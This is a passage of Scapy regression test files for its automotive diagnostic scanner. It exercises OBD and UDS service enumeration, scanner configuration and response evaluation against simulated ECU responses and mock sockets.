EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=163)/OBD_MIDXX(standardized_test_id=12, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=65535),OBD_S06_PR_Record(mid=163)/OBD_MIDXX(standardized_test_id=11, unit_and_scaling_id=36, test_value=1, min_limit=0, max_limit=65535)])),\n    EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=164)/OBD_MIDXX(standardized_test_id=12, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=65535),OBD_S06_PR_Record(mid=164)/OBD_MIDXX(standardized_test_id=11, unit_and_scaling_id=36, test_value=1, min_limit=0, max_limit=65535)])),\n    EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=165)/OBD_MIDXX(standardized_test_id=12, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=65535),OBD_S06_PR_Record(mid=165)/OBD_MIDXX(standardized_test_id=11, unit_and_scaling_id=36, test_value=1, min_limit=0, max_limit=65535)])),\n    EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=2)/OBD_MIDXX(standardized_test_id=145, unit_and_scaling_id=177, test_value=3944, min_limit=900, max_limit=65534),OBD_S06_PR_Record(mid=2)/OBD_MIDXX(standardized_test_id=149, unit_and_scaling_id=10, test_value=764.696, min_limit=719.556, max_limit=7995.27),OBD_S06_PR_Record(mid=2)/OBD_MIDXX(standardized_test_id=150, unit_and_scaling_id=10, test_value=115.412, min_limit=0.0, max_limit=179.95)])),\n    EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=32)/OBD_MID20(supported_mids=2147485697)])),\n    EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=33)/OBD_MIDXX(standardized_test_id=132, unit_and_scaling_id=3, test_value=2.63, min_limit=1.0, max_limit=655.35)])),\n    EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=128, unit_and_scaling_id=28, test_value=32.42, min_limit=10.0, max_limit=655.35),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=129, unit_and_scaling_id=28, test_value=25.41, min_limit=10.0, max_limit=655.35),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=130, unit_and_scaling_id=28, test_value=0.21, min_limit=0.0, max_limit=10.0),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=131, unit_and_scaling_id=28, test_value=0.0, min_limit=0.0, max_limit=10.0),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=132, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=3),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=133, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=3),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=134, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=3),OBD_S06_PR_Record(mid=53)/OBD_MIDXX(standardized_test_id=135, unit_and_scaling_id=36, test_value=0, min_limit=0, max_limit=3)])),\n    EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=64)/OBD_MID40(supported_mids=3221225473)])),\n    EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=65)/OBD_MIDXX(standardized_test_id=133, unit_and_scaling_id=22, test_value=720.0, min_limit=700.0, max_limit=6513.5)])),\n    EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=66)/OBD_MIDXX(standardized_test_id=144, unit_and_scaling_id=20, test_value=401, min_limit=0, max_limit=800)])),\n    EcuResponse(responses=OBD(service=70)/OBD_S06_PR(data_records=[OBD_S06_PR_Record(mid=96)/OBD_MID60(supported_mids=1)])),\n    EcuResponse(responses=OBD(service=71)/OBD_S07_PR(count=0)),\n    EcuResponse(responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=0)/OBD_IID00(supported_iids=1430405120)])),\n    EcuResponse(responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=10)/OBD_IID0A(ecu_names=[b'ECM\\x00-EngineControl\\x00\\x00'], count=1)])),\n    EcuResponse(responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=15)/Raw(load=b'\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00HM0876')])),\n    EcuResponse(responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=18)/Raw(load=b'\\x01\\x00\\xd5')])),\n    EcuResponse(responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=2)/OBD_IID02(vehicle_identification_numbers=[b'WDD1xxxxxxxxxxx11'], count=1)])),\n    EcuResponse(responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=4)/OBD_IID04(calibration_identifications=[b'282xxxxxxx300044', b'00090xxxxxx00031'], count=2)])),\n    EcuResponse(responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=6)/OBD_IID06(calibration_verification_numbers=[b'\\xf9\\x10\\xb9\\xfb', b'&6\"e'], count=2)])),\n    EcuResponse(responses=OBD(service=73)/OBD_S09_PR(data_records=[OBD_S09_PR_Record(iid=8)/OBD_IID08(data=[9, 189, 8, 9, 0, 0, 8, 9, 0, 0, 22, 9, 0, 0, 0, 0, 8, 9, 0, 0], count=20)])),\n    EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=1, response_code=0x12)),\n    EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=2, response_code=0x12)),\n    EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=3, response_code=0x12)),\n    EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=4, response_code=0x12)),\n    EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=5, response_code=0x12)),\n    EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=6, response_code=0x12)),\n    EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=7, response_code=0x12)),\n    EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=8, response_code=0x12)),\n    EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=9, response_code=0x12)),\n    EcuResponse(responses=OBD(service=127)/OBD_NR(request_service_id=10, response_code=0x12))]\n\n\n+ Simulate scanner\n\n= Run scanner with real world responses short scan\n\nsniff(timeout=0.001, opened_socket=[ecu, tester])\n\nanswering_machine = EcuAnsweringMachine(supported_responses=responses, main_socket=ecu, basecls=OBD)\nsim = threading.Thread(target=answering_machine, kwargs={\"timeout\": 100, \"stop_filter\": lambda x: bytes(x) == b\"\\xff\\xff\\xff\"})\nsim.start()\ntry:\n    s = OBD_Scanner(tester, full_scan=False, timeout=1, retry_if_none_received=True)\n    s.scan(timeout=100)\n    tester.send(b\"\\xff\\xff\\xff\")\nfinally:\n    sim.join(timeout=10)\n\ns.show_testcases()\n\nassert len(s.enumerators) == 8\nassert s.enumerators[0].__class__ == OBD_S01_Enumerator\nassert s.enumerators[1].__class__ == OBD_S02_Enumerator\nassert s.enumerators[2].__class__ == OBD_S06_Enumerator\nassert s.enumerators[3].__class__ == OBD_S08_Enumerator\nassert s.enumerators[4].__class__ == OBD_S09_Enumerator\nassert s.enumerators[5].__class__ == OBD_S03_Enumerator\nassert s.enumerators[6].__class__ == OBD_S07_Enumerator\nassert s.enumerators[7].__class__ == OBD_S0A_Enumerator\n\nprint(len(s.enumerators[0].results_with_response))\n\nassert len(s.enumerators[0].results_with_response) == 33   # 32 pos resps + 1 NR\nassert len(s.enumerators[0].results_with_negative_response) == 1\nassert len(s.enumerators[1].results_with_response) == 1    # 1 NR\nassert len(s.enumerators[1].results_with_negative_response) == 1\nassert len(s.enumerators[2].results_with_response) == 18   # 17 pos resps + 1 NR\nassert len(s.enumerators[2].results_with_negative_response) == 1\nassert len(s.enumerators[3].results_with_response) == 1    # 1 NR\nassert len(s.enumerators[3].results_with_negative_response) == 1\nassert len(s.enumerators[4].results_with_response) == 9    # 8 pos resps + 1 NR\nassert len(s.enumerators[4].results_with_negative_response) == 1\nassert len(s.enumerators[5].results_with_response) == 1    # 1 PR\nassert len(s.enumerators[6].results_with_response) == 1    # 1 PR\nassert len(s.enumerators[7].results_with_response) == 1    # 1 PR\n\n\n= Run scanner with real world responses full scan\n\nsniff(timeout=0.001, opened_socket=[ecu, tester])\n\nanswering_machine = EcuAnsweringMachine(supported_responses=responses, main_socket=ecu, basecls=OBD)\nsim = threading.Thread(target=answering_machine, kwargs={\"timeout\": 100, \"stop_filter\": lambda x: bytes(x) == b\"\\xff\\xff\\xff\"})\nsim.start()\ntry:\n    s = OBD_Scanner(tester, full_scan=True, timeout=1, retry_if_none_received=True)\n    s.scan(timeout=100)\n    tester.send(b\"\\xff\\xff\\xff\")\nfinally:\n    sim.join(timeout=10)\n\ns.show_testcases()\n\nassert len(s.enumerators) == 8\nassert s.enumerators[0].__class__ == OBD_S01_Enumerator\nassert s.enumerators[1].__class__ == OBD_S02_Enumerator\nassert s.enumerators[2].__class__ == OBD_S06_Enumerator\nassert s.enumerators[3].__class__ == OBD_S08_Enumerator\nassert s.enumerators[4].__class__ == OBD_S09_Enumerator\nassert s.enumerators[5].__class__ == OBD_S03_Enumerator\nassert s.enumerators[6].__class__ == OBD_S07_Enumerator\nassert s.enumerators[7].__class__ == OBD_S0A_Enumerator\n\nassert len(s.enumerators[0].results_with_response) == 0x100   # 32 pos resps + 1 NR\nprint( len(s.enumerators[0].results_with_negative_response))\nassert len(s.enumerators[0].results_with_negative_response) == 0x100 - 32\nprint( len(s.enumerators[1].results_with_response))\nassert len(s.enumerators[1].results_with_response) == 0x100\nprint( len(s.enumerators[1].results_with_negative_response))\nassert len(s.enumerators[1].results_with_negative_response) == 0x100\nassert len(s.enumerators[2].results_with_response) == 0x100   # 17 pos resps\nassert len(s.enumerators[2].results_with_negative_response) == 0x100 - 17\nassert len(s.enumerators[3].results_with_response) == 0x100\nassert len(s.enumerators[3].results_with_negative_response) == 0x100\nassert len(s.enumerators[4].results_with_response) == 0x100    # 8 pos resps\nassert len(s.enumerators[4].results_with_negative_response) == 0x100 - 8\nassert len(s.enumerators[5].results_with_response) == 1    # 1 PR\nassert len(s.enumerators[6].results_with_response) == 1    # 1 PR\nassert len(s.enumerators[7].results_with_response) == 1    # 1 PR\n\n\n= Run scanner only for Service 01 real world responses\n\nsniff(timeout=0.001, opened_socket=[ecu, tester])\n\nanswering_machine = EcuAnsweringMachine(supported_responses=responses, main_socket=ecu, basecls=OBD)\nsim = threading.Thread(target=answering_machine, kwargs={\"timeout\": 100, \"stop_filter\": lambda x: bytes(x) == b\"\\xff\\xff\\xff\"})\nsim.start()\ntry:\n    s = OBD_Scanner(tester, test_cases=[OBD_S01_Enumerator], full_scan=False, retry_if_none_received=True, timeout=1)\n    s.scan(timeout=100)\n    tester.send(b\"\\xff\\xff\\xff\")\nfinally:\n    sim.join(timeout=10)\n\ns.show_testcases()\n\nassert len(s.enumerators) == 1\nassert s.enumerators[0].__class__ == OBD_S01_Enumerator\n\nassert len(s.enumerators[0].results_with_response) == 33   # 32 pos resps + 1 NR\nassert len(s.enumerators[0].results_with_negative_response) == 1\n\n\n+ Cleanup\n\n= Delete TestSockets\n\ncleanup_testsockets()\n"
  },
  {
    "path": "test/contrib/automotive/scanner/configuration.uts",
    "content": "% Regression tests for automotive scanner configuration\n\n+ Load general modules\n\n= Load contribution layer\n\nfrom scapy.contrib.automotive.scanner.test_case import AutomotiveTestCase\nfrom scapy.contrib.automotive.scanner.configuration import AutomotiveTestCaseExecutorConfiguration\nfrom scapy.contrib.automotive.scanner.staged_test_case import StagedAutomotiveTestCase\n\n+ Basic checks\n\n= Definition of Test classes\n\nclass MyTestCase1(AutomotiveTestCase):\n    _description = \"MyTestCase1\"\n    def supported_responses(self):\n        return []\n\n\nclass MyTestCase2(AutomotiveTestCase):\n    _description = \"MyTestCase2\"\n    def supported_responses(self):\n        return []\n\nclass MyTestCase3(AutomotiveTestCase):\n    _description = \"MyTestCase3\"\n    def supported_responses(self):\n        return []\n\nclass MyTestCase4(AutomotiveTestCase):\n    _description = \"MyTestCase4\"\n    def supported_responses(self):\n        return []\n\n= creation of config with classes\n    \nconfig = AutomotiveTestCaseExecutorConfiguration(\n    [MyTestCase1, MyTestCase2, MyTestCase3, MyTestCase4])\n\nassert len(config.test_cases) == 4\nassert len(config.test_case_clss) == 4\nassert len(config.stages) == 0\nassert len(config.staged_test_cases) == 0\nassert config.verbose == False\nassert config.debug == False\n\n\n= creation of config with instances\n    \nconfig = AutomotiveTestCaseExecutorConfiguration(\n    [MyTestCase1(), MyTestCase2(), MyTestCase3(), MyTestCase4()])\n\nassert len(config.test_cases) == 4\nassert len(config.test_case_clss) == 4\nassert len(config.stages) == 0\nassert len(config.staged_test_cases) == 0\nassert config.verbose == False\nassert config.debug == False\n\n\n= creation of config with instances and classes\n    \nconfig = AutomotiveTestCaseExecutorConfiguration(\n    [MyTestCase2(), MyTestCase2(), MyTestCase3, MyTestCase4])\n\nassert len(config.test_cases) == 4\nassert len(config.test_case_clss) == 3\nassert len(config.stages) == 0\nassert len(config.staged_test_cases) == 0\nassert config.verbose == False\nassert config.debug == False\n\n\n= creation of config with instances and classes and global configuration and local configuration\n    \nconfig = AutomotiveTestCaseExecutorConfiguration(\n    [MyTestCase2(), MyTestCase2(), MyTestCase3, MyTestCase4],\n    global_config=42, verbose=True, MyTestCase2_kwargs={\"local_config\": 41})\n\nassert len(config.test_cases) == 4\nassert len(config.test_case_clss) == 3\nassert len(config.stages) == 0\nassert len(config.staged_test_cases) == 0\nassert config.verbose == True\nassert config.debug == False\nassert config[\"MyTestCase2\"][\"global_config\"] == 42\nassert config[\"MyTestCase2\"][\"local_config\"] == 41\nassert config[\"MyTestCase2\"][\"verbose\"] == True\ntry:\n    print(config[\"MyTestCase1\"][\"global_config\"])\n    raise AssertionError\nexcept KeyError:\n    pass\n\nassert len(config[\"MyTestCase3\"]) == 3\nassert len(config[\"MyTestCase2\"]) == 4\n\ntry:\n    print(config[\"MyTestCase3\"][\"local_config\"])\n    raise AssertionError\nexcept KeyError:\n    pass\n\n\n= creation of config with stages\n\nst = StagedAutomotiveTestCase([MyTestCase1(), MyTestCase2()])\n    \nconfig = AutomotiveTestCaseExecutorConfiguration(\n    [MyTestCase2(), MyTestCase2, MyTestCase3, MyTestCase4, st])\n\nassert len(config.test_cases) == 5\nassert len(config.test_case_clss) == 5\nassert len(config.stages) == 1\nassert len(config.staged_test_cases) == 2\nassert config.verbose == False\nassert config.debug == False\nassert config.staged_test_cases[0].__class__ == MyTestCase1\nassert config.staged_test_cases[1].__class__ == MyTestCase2\nassert config.stages[0].__class__ == StagedAutomotiveTestCase\n\n= creation of config with stages class\n\nclass myStagedTestCase(StagedAutomotiveTestCase):\n    def __init__(self):\n        # type: () -> None\n        super(myStagedTestCase, self).__init__(\n            [MyTestCase1(), MyTestCase2()],\n            None)\n\n\nconfig = AutomotiveTestCaseExecutorConfiguration(\n    [MyTestCase2(), MyTestCase2, MyTestCase3, MyTestCase4, myStagedTestCase])\n\nassert len(config.test_cases) == 5\nassert len(config.test_case_clss) == 5\nassert len(config.stages) == 1\nassert len(config.staged_test_cases) == 2\nassert config.staged_test_cases[0].__class__ == MyTestCase1\nassert config.staged_test_cases[1].__class__ == MyTestCase2\nassert config.stages[0].__class__ == myStagedTestCase\nassert config.verbose == False\nassert config.debug == False\n"
  },
  {
    "path": "test/contrib/automotive/scanner/enumerator.uts",
    "content": "% Regression tests for enumerators\n~ linux\n\n+ Load general modules\n\n= Load contribution layer\n\nfrom scapy.contrib.automotive.scanner.enumerator import _AutomotiveTestCaseScanResult, ServiceEnumerator, StateGenerator, StateGeneratingServiceEnumerator\nfrom scapy.contrib.automotive.scanner.test_case import TestCaseGenerator, AutomotiveTestCase\nfrom scapy.contrib.automotive.scanner.executor import AutomotiveTestCaseExecutor\nfrom scapy.contrib.isotp import ISOTP\nfrom scapy.contrib.automotive.uds import *\nfrom scapy.contrib.automotive.scanner.staged_test_case import StagedAutomotiveTestCase\nfrom scapy.utils import SingleConversationSocket\nfrom scapy.contrib.automotive.ecu import EcuState, EcuResponse\nfrom scapy.contrib.automotive.uds_ecu_states import *\nimport copy\n\n+ Basic checks\n= ServiceEnumerator basecls checks\n\npkts = [\n    _AutomotiveTestCaseScanResult(EcuState(session=1), UDS(b\"\\x20abcd\"), UDS(b\"\\x60abcd\"), 1.0, 1.9),\n    _AutomotiveTestCaseScanResult(EcuState(session=2), UDS(b\"\\x20abcd\"), None, 2.0, None),\n    _AutomotiveTestCaseScanResult(EcuState(session=1), UDS(b\"\\x21abcd\"), UDS(b\"\\x7fabcd\"), 3.0, 3.1),\n    _AutomotiveTestCaseScanResult(EcuState(session=2), UDS(b\"\\x21abcd\"), UDS(b\"\\x7fa\\x10cd\"), 4.0, 4.5),\n]\n\nclass MyTestCase(ServiceEnumerator):\n    _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs)\n    _supported_kwargs.update({\n        'local_kwarg': ((int, str), None),\n        'verbose': (bool, None),\n        'global_arg': (str, None)\n    })\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        return UDS(service=range(1, 11))\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"0x%02x: %s\" % (tup[1].service, tup[1].sprintf(\"%UDS.service%\"))\n    def _get_table_entry_z(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return self._get_label(tup[2], \"PR: Supported\")\n    @staticmethod\n    def _get_negative_response_label(response):\n        # type: (Packet) -> str\n        return response.sprintf(\"NR: %UDS_NR.negativeResponseCode%\")\n    @staticmethod\n    def _get_negative_response_code(resp):\n        # type: (Packet) -> int\n        return resp.negativeResponseCode\n    @staticmethod\n    def _get_negative_response_desc(nrc):\n        # type: (int) -> str\n        return UDS_NR(negativeResponseCode=nrc).sprintf(\n            \"%UDS_NR.negativeResponseCode%\")\n\n\ne = MyTestCase()\nfor p in pkts:\n    p.req.time = p.req_ts\n    p.req.sent_time = p.req_ts\n    if p.resp is not None:\n        p.resp.time = p.resp_ts\n    e._store_result(p.state, p.req, p.resp)\n\n\n= ServiceEnumerator not completed check\n\nassert e.completed == False\n\n= ServiceEnumerator completed\n\ne._state_completed[EcuState(session=1)] = True\ne._state_completed[EcuState(session=2)] = True\n\nassert e.completed\n\n= ServiceEnumerator stats check\n\nstat_list = e._compute_statistics()\n\nstats = {label: value for state, label, value in stat_list if state == \"all\"}\nprint(stats)\n\nassert stats[\"num_answered\"] == '3'\nassert stats[\"num_unanswered\"] == '1'\nassert stats[\"answertime_max\"] == '0.9'\nassert stats[\"answertime_min\"] == '0.1'\nassert stats[\"answertime_avg\"] == '0.5'\nassert stats[\"num_negative_resps\"] == '2'\n\n= ServiceEnumerator scanned states\n\nassert len(e.scanned_states) == 2\nassert {EcuState(session=1), EcuState(session=2)} == e.scanned_states\n\n= ServiceEnumerator scanned results\n\nassert len(e.results_with_positive_response) == 1\nassert len(e.results_with_negative_response) == 2\nassert len(e.results_without_response) == 1\nassert len(e.results_with_response) == 3\n\n= ServiceEnumerator get_label\nassert e._get_label(pkts[0].resp) == \"PR: PositiveResponse\"\nassert e._get_label(pkts[0].resp, lambda _: \"positive\") == \"positive\"\nassert e._get_label(pkts[0].resp, lambda _: \"positive\" + hex(pkts[0].req.service)) == \"positive\" + \"0x20\"\nassert e._get_label(pkts[1].resp) == \"Timeout\"\nassert e._get_label(pkts[2].resp) == \"NR: 98\"\nassert e._get_label(pkts[3].resp) == \"NR: generalReject\"\n\n= ServiceEnumerator show\n\ne.show(filtered=False)\n\ndump = e.show(dump=True, filtered=False)\nassert \"NR: 98\" in dump\nassert \"NR: generalReject\" in dump\nassert \"PR: Supported\" in dump\nassert \"Timeout\" in dump\nassert \"session1\" in dump\nassert \"session2\" in dump\nassert \"0x20\" in dump\nassert \"0x21\" in dump\n\n= ServiceEnumerator filtered results before show\n\nprint(len(e.filtered_results))\nassert len(e.filtered_results) == 2\nassert e.filtered_results[0] == pkts[0]\nassert e.filtered_results[1] == pkts[2]\n\n= ServiceEnumerator show filtered\n\ne.show(filtered=True)\n\ndump = e.show(dump=True, filtered=True)\nassert \"NR: 98\" in dump\nassert \"NR: generalReject\" in dump\nassert \"PR: Supported\" in dump\nassert \"Timeout\" not in dump\nassert \"session1\" in dump\nassert \"session2\" in dump\nassert \"all\" in dump\nassert \"0x20\" in dump\nassert \"0x21\" in dump\nassert \"The following negative response codes are blacklisted: ['serviceNotSupported']\" in dump\n\n= ServiceEnumerator filtered results after show\n\nassert len(e.filtered_results) == 3\nassert e.filtered_results[0] == pkts[0]\nassert e.filtered_results[1] == pkts[2]\n\n= ServiceEnumerator supported responses\n\nassert len(e.supported_responses) == 3\n\n= ServiceEnumerator evaluate response\n\nconf = {}\n\nassert False == e._evaluate_response(EcuState(session=1), UDS(b\"\\x10\\x03abcd\"), None, **conf)\nassert False == e._evaluate_response(EcuState(session=1), UDS(b\"\\x10\\x03abcd\"), UDS(b\"\\x7f\\x10\\x10\"), **conf)\nconf = {\"exit_if_service_not_supported\": True, \"retry_if_busy_returncode\": False}\nassert False == e._evaluate_response(EcuState(session=1), UDS(b\"\\x10\\x03abcd\"), UDS(b\"\\x7f\\x10\\x21\"), **conf)\nassert False == e._evaluate_response(EcuState(session=1), UDS(b\"\\x10\\x03abcd\"), UDS(b\"\\x7f\\x10\\x10\"), **conf)\nassert True == e._evaluate_response(EcuState(session=1), UDS(b\"\\x10\\x03abcd\"), UDS(b\"\\x7f\\x10\\x11\"), **conf)\nassert True == e._evaluate_response(EcuState(session=1), UDS(b\"\\x10\\x03abcd\"), UDS(b\"\\x7f\\x10\\x7f\"), **conf)\nconf = {\"exit_if_service_not_supported\": False, \"retry_if_busy_returncode\": True}\nassert not e._retry_pkt[EcuState(session=1)]\nassert False == e._evaluate_response(EcuState(session=1), UDS(b\"\\x10\\x03abcd\"), UDS(b\"\\x7f\\x10\\x10\"), **conf)\nassert False == e._evaluate_response(EcuState(session=1), UDS(b\"\\x10\\x03abcd\"), UDS(b\"\\x7f\\x10\\x11\"), **conf)\nassert False == e._evaluate_response(EcuState(session=1), UDS(b\"\\x10\\x03abcd\"), UDS(b\"\\x7f\\x10\\x7f\"), **conf)\nassert not e._retry_pkt[EcuState(session=1)]\nassert True == e._evaluate_response(EcuState(session=1), UDS(b\"\\x10\\x03abcd\"), UDS(b\"\\x7f\\x10\\x21\"), **conf)\nassert e._retry_pkt[EcuState(session=1)] == UDS(b\"\\x10\\x03abcd\")\nassert False == e._evaluate_response(EcuState(session=1), UDS(b\"\\x10\\x03abcd\"), UDS(b\"\\x7f\\x10\\x21\"), **conf)\nassert not e._retry_pkt[EcuState(session=1)]\n\nassert True == e._evaluate_response(EcuState(session=1), UDS(b\"\\x10\\x03abcd\"), UDS(b\"\\x50\\x03\\x00\"), **conf)\nassert False == e._evaluate_response(EcuState(session=1), UDS(b\"\\x11\\x03abcd\"), UDS(b\"\\x51\\x03\\x00\"), **conf)\nconf = {\"retry_if_none_received\": True}\nassert True == e._evaluate_response(EcuState(session=1), UDS(b\"\\x10\\x03abcd\"), None, **conf)\nassert e._retry_pkt[EcuState(session=1)]\n\n\n= ServiceEnumerator execute\n\nfrom queue import Queue\nfrom scapy.supersocket import SuperSocket\n\nclass MockISOTPSocket(SuperSocket):\n    nonblocking_socket = True\n    @property\n    def closed(self):\n        return False\n    @closed.setter\n    def closed(self, var):\n        pass\n    def __init__(self, rcvd_queue=None):\n        self.rcvd_queue = Queue()\n        self.sent_queue = Queue()\n        if rcvd_queue is not None:\n            for c in rcvd_queue:\n                self.rcvd_queue.put(c)\n    def recv_raw(self, x=MTU):\n        pkt = bytes(self.rcvd_queue.get(True, 0.01))\n        return UDS, pkt, 10.0\n    def send(self, x):\n        sx = raw(x)\n        try:\n            x.sent_time = 9.0\n        except AttributeError:\n            pass\n        self.sent_queue.put(sx)\n        return len(sx)\n    @staticmethod\n    def select(sockets, remain=None):\n        time.sleep(0)\n        return sockets\n    def sr(self, *args, **kargs):\n        from scapy import sendrecv\n        return sendrecv.sndrcv(self, *args, threaded=False, **kargs)\n    def sr1(self, *args, **kargs):\n        from scapy import sendrecv\n        ans = sendrecv.sndrcv(self, *args, threaded=False, **kargs)[0]  # type: SndRcvList\n        if len(ans) > 0:\n            pkt = ans[0][1]  # type: Packet\n            return pkt\n        else:\n            return None\n\nsock = MockISOTPSocket()\nsock.rcvd_queue.put(b\"\\x41\")\nsock.rcvd_queue.put(b\"\\x42\")\nsock.rcvd_queue.put(b\"\\x43\")\nsock.rcvd_queue.put(b\"\\x44\")\nsock.rcvd_queue.put(b\"\\x45\")\nsock.rcvd_queue.put(b\"\\x46\")\nsock.rcvd_queue.put(b\"\\x47\")\nsock.rcvd_queue.put(b\"\\x48\")\nsock.rcvd_queue.put(b\"\\x49\")\nsock.rcvd_queue.put(b\"\\x4A\")\n\ne = MyTestCase()\n\ne.execute(sock, EcuState(session=1))\n\nassert len(e.filtered_results) == 10\nassert len(e.results_with_response) == 10\nassert len(e.results_without_response) == 0\n\nassert e.has_completed(EcuState(session=1))\nassert e.completed\n\ne.execute(sock, EcuState(session=2), timeout=0.01)\n\nassert len(e.filtered_results) == 10\nassert len(e.results_with_response) == 10\nassert len(e.results_without_response) == 10\n\nassert e.has_completed(EcuState(session=2))\n\ne.execute(sock, EcuState(session=3), timeout=0.01, exit_if_no_answer_received=True)\n\nassert not e.has_completed(EcuState(session=3))\nassert not e.completed\nassert len(e.scanned_states) == 3\n\ne.execute(sock, EcuState(session=42), state_block_list=[EcuState(session=42)])\n\nassert e.has_completed(EcuState(session=42))\nassert len(e.scanned_states) == 3\n\ne.execute(sock, EcuState(session=13), state_block_list=EcuState(session=13))\n\nassert e.has_completed(EcuState(session=13))\nassert len(e.scanned_states) == 3\n\ne.execute(sock, EcuState(session=41), state_allow_list=[EcuState(session=42)])\n\nassert e.has_completed(EcuState(session=41))\nassert len(e.scanned_states) == 3\n\ne.execute(sock, EcuState(session=12), state_allow_list=EcuState(session=13))\n\nassert e.has_completed(EcuState(session=12))\nassert len(e.scanned_states) == 3\n\n= Test negative response code service not supported\n\nsock.rcvd_queue.put(b\"\\x7f\\x01\\x11\")\nsock.rcvd_queue.put(b\"\\x7f\\x01\\x7f\")\n\ne = MyTestCase()\n\ne.execute(sock, EcuState(session=1), exit_if_service_not_supported=True)\n\nassert not e._retry_pkt[EcuState(session=1)]\nassert len(e.results_with_response) == 1\nassert len(e.results_with_negative_response) == 1\nassert e.completed\n\ne.execute(sock, EcuState(session=2), exit_if_service_not_supported=True)\n\nassert not e._retry_pkt[EcuState(session=2)]\nassert len(e.results_with_response) == 2\nassert len(e.results_with_negative_response) == 2\nassert e.completed\n\n= Test negative response code retry if busy\n\nsock.rcvd_queue.put(b\"\\x7f\\x01\\x21\")\nsock.rcvd_queue.put(b\"\\x7f\\x01\\x10\")\n\ne = MyTestCase()\n\ne.execute(sock, EcuState(session=1))\n\nassert e._retry_pkt[EcuState(session=1)]\nassert len(e.results_with_response) == 1\nassert len(e.results_with_negative_response) == 1\nassert len(e.results_without_response) == 0\nassert not e.completed\n\ne.execute(sock, EcuState(session=1))\n\nassert not e._retry_pkt[EcuState(session=1)]\nassert len(e.results_with_response) == 2\nassert len(e.results_with_negative_response) == 2\nassert len(e.results_without_response) == 9\nassert e.completed\nassert e.has_completed(EcuState(session=1))\n\n= Test negative response code don't retry if busy\n\nsock.rcvd_queue.put(b\"\\x7f\\x01\\x21\")\n\ne = MyTestCase()\n\ne.execute(sock, EcuState(session=1), retry_if_busy_returncode=False)\n\nassert not e._retry_pkt[EcuState(session=1)]\nassert len(e.results_with_response) == 1\nassert len(e.results_with_negative_response) == 1\nassert len(e.results_without_response) == 9\nassert e.completed\nassert e.has_completed(EcuState(session=1))\n\n= Test execution time\n\nsock.rcvd_queue.put(b\"\\x7f\\x01\\x10\")\n\ne = MyTestCase()\n\ne.execute(sock, EcuState(session=1), execution_time=-1)\n\nassert not e._retry_pkt[EcuState(session=1)]\nassert len(e.results_with_response) == 1\nassert len(e.results_with_negative_response) == 1\nassert len(e.results_without_response) == 0\nassert not e.completed\nassert not e.has_completed(EcuState(session=1))\n\n\n+ AutomotiveTestCaseExecutorConfiguration tests\n\n= Definitions\n\nclass MockSock(object):\n    closed = False\n    def sr1(self, *args, **kwargs):\n        raise OSError\n\nclass TestCase1(MyTestCase):\n    pass\n\nclass TestCase2(MyTestCase):\n    pass\n\nclass Scanner(AutomotiveTestCaseExecutor):\n    @property\n    def default_test_case_clss(self):\n        # type: () -> List[Type[AutomotiveTestCaseABC]]\n        return [MyTestCase]\n\n= Basic tests\n\ntce = Scanner(MockSock(), test_cases=[TestCase1, TestCase2, MyTestCase],\n              verbose=True, debug=True,\n              global_arg=\"Whatever\", TestCase1_kwargs={\"local_kwarg\": 42})\n\nconfig = tce.configuration  # type: AutomotiveTestCaseExecutorConfiguration\nassert config.verbose\nassert config.debug\nassert len(config.test_cases) == 3\nassert len(config.stages) == 0\nassert len(config.staged_test_cases) == 0\nassert len(config.test_case_clss) == 3\nassert len(config.TestCase1.items()) == 5\nassert len(config.TestCase2.items()) == 4\nassert 